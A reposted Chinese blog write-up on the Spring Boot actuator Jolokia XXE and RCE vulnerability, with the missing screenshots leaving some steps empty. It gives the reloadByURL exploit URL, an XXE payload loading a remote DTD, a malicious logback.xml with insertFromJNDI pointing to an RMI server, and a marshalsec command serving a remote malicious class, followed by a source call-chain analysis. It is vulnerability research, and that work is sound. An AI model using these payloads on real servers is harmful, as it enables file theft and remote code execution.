我是靠谱客的博主 自信月亮,最近开发中收集的这篇文章主要介绍Spring actuator Jolokia XXE RCE,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

Spring actuator Jolokia XXE RCE

Jolokia允许通过HTTP访问所有已注册的MBean,同时可以使用URL列出所有可用的MBeans操作,访问http://127.0.0.1:8090/jolokia/list即可列出,如下为返回:

格式化后logback Mbean

jolokia在logback JMXConfigurator中提供的“reloadByURL”方法允许从外部URL重新加载日志的记录配置

官网给出了GET和POST两种方式的访问路径以及参数:

 

 

XXE利用:

搭建简单HTTP服务器,用于下载logback.xml(本机1337端口开启服务)

  1. <?xml version="1.0" encoding="utf-8" ?>  
  2. <!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://127.0.0.1:8080/file.dtd">%remote;%int;]>  
  3. <a>&trick;</a>  

file.dtd(8080端口开启服务)

最终访问:

http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:1337!/logback.xml

Mbean name:

ch.qos.logback.classic:name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/
Operation: reloadByUrl
Params: http:!/!/127.0.0.1!/logback.xml

获取到D:/hello.txt的内容:

 

RCE利用:

  1. 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法
  2. 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
  3. 目标机器使用 saxParser.parse 解析 xml 文件 (xxe)
  4. xml 文件中利用 logback 依赖的 insertFormJNDI 标签,允许访问外部 JNDI 服务器地址
  5. 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞

首先服务器上创建可以远程访问的xml文件,logback.xml:

<configuration>
  <insertFromJNDI env-entry-name="rmi://x.x.x.x:1097/jndi" as="appName" />
</configuration>

在此处开启服务,使得xml可以被远程获取到

 

服务器上解析此xml文件时,它会创建与“env-entry-name”参数值中指定的攻击者LDAP/RMI服务器的连接,从而导致JNDI进行解析

同时需要创建JNDI服务:

使用marshalsec工具可以方便地创建JNDI服务:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://46.110.60.232:8880/#JNDIObject 1097

 

其中JNDIObject类为恶意执行类,当调用RMI服务后会进行代码执行

RMI核心特点之一就是动态加载类,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class.  RMI服务端将URL传递给客户端,客户端通过HTTP请求下载这些类)

JNDI解析后,进行恶意RMI远程类调用:

此处由于JDK版本问题,未能反弹shell

 

调用链:

首先在JolokiaMvcEndpoint类中设置了根路径为/jolokia

后续路径为任何(/**)时,都会由handle方法进行处理:

 

下一步会进到handleRequest

进入handleRequestInternalà servletInstance.service

进入doGet方法:

接下来为handle处理HttpRequest请求,进入handleGetRequest方法:

此方法会对传入的Uri和pPathinfo进行解析(含有对/的过滤)以及jmx请求的构造:

JmxReq = JmxRequestFactory.createGetRequest是通过 JmxRequestFactory 类创建一个 JmxRequest 的子类(如果请求的类别在 CREATOR_MAP 存在,就会创建对应的子类)

子类对象构造后如下:

通过operation和argument等参数进行jmx的服务访问

HandleRequest中建立MBeanServer同时传入JmxReq请求参数:

到reloadByURL中执行:

跟进doConfigure:建立连接

doConfigure:

外部Xml成功传入,执行saxParser 成功读取到文件内容:

参考:https://xz.aliyun.com/t/4258

 

最后

以上就是自信月亮为你收集整理的Spring actuator Jolokia XXE RCE的全部内容,希望文章能够帮你解决Spring actuator Jolokia XXE RCE所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(34)

评论列表共有 0 条评论

立即
投稿
返回
顶部